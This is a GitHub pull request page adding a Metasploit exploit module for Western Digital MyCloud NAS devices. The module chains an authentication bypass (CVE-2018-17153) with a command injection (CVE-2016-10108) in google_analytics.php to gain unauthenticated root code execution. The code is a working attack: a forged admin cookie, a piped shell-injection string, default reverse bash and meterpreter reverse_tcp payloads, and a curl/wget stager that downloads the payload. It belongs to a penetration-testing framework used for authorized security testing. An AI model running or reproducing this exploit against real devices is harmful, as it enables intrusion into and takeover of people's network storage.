Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add wd_mycloud_unauthenticated_cmd_injection module and docs (CVE-2016-10108 and CVE-2018-17153) #18221

Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Western Digital MyCloud unauthenticated command injection',
'Description' => %q{
This module exploits authentication bypass (CVE-2018-17153) and
command injection (CVE-2016-10108) vulnerabilities in Western
Digital MyCloud before 2.30.196 in order to achieve
unauthenticated remote code execution as the root user.

The module first performs a check to see if the target is
WD MyCloud. If so, it attempts to trigger an authentication
bypass (CVE-2018-17153) via a crafted GET request to
/cgi-bin/network_mgr.cgi. If the server responds as expected,
the module assesses the vulnerability status by attempting to
exploit a commend injection vulnerability (CVE-2016-10108) in
order to print a random string via the echo command. This is
done via a crafted POST request to /web/google_analytics.php.

If the server is vulnerable, the same command injection vector
is leveraged to execute the payload.

This module has been successfully tested against Western Digital
MyCloud version 2.30.183.

Note: based on the available disclosures, it seems that the
command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions
before 2.21.126. The obtained results on 2.30.183 imply that
the patch for CVE-2016-10108 did not actually remove the command
injection vector, but only prevented unauthenticated access to it.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik Wynter', # @wyntererik - Metasploit
'Steven Campbell', # CVE-2016-10108 disclosure and PoC
'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC
],
'References' => [
['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
['CVE', '2018-17153'], # authentication bypass
['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC
['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_memory
}
],
[
'Linux Dropper', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => :curl,
'Type' => :linux_dropper
}
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
}
]
],
'CmdStagerFlavor' => ['curl', 'wget'],
'Privileged' => true,
'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),
])
end

def check
# sanity check to see if the target is likely WD MyCloud
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

return CheckCode::Unknown('Connection failed.') unless res

return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body =~ /var MODEL_ID = "WDMyCloud/
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved

print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
# try the authentication bypass (CVE-2018-17153)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
'vars_get' => {
'cmd' => 'cgi_get_ipv6',
'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details
}
})

return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res

return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404

# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body
echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
print_status("Attempting to execute #{echo_cmd}...")
res = execute_command(echo_cmd, { 'wait_for_response' => true })

return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res

return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd)
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved

CheckCode::Safe('The target failed to execute the echo command.')
end

def execute_command(cmd, opts = {})
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),
'cookie' => 'username=admin',
'vars_post' => {
'cmd' => 'set',
'opt' => 'cloud-device-num',
'arg' => "0|echo `#{cmd}` #"
}
}

return send_request_cgi(request_hash) if opts['wait_for_response']

# if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
send_request_cgi(request_hash, 0)
end

def exploit
if target.arch.first == ARCH_CMD
print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end
Loading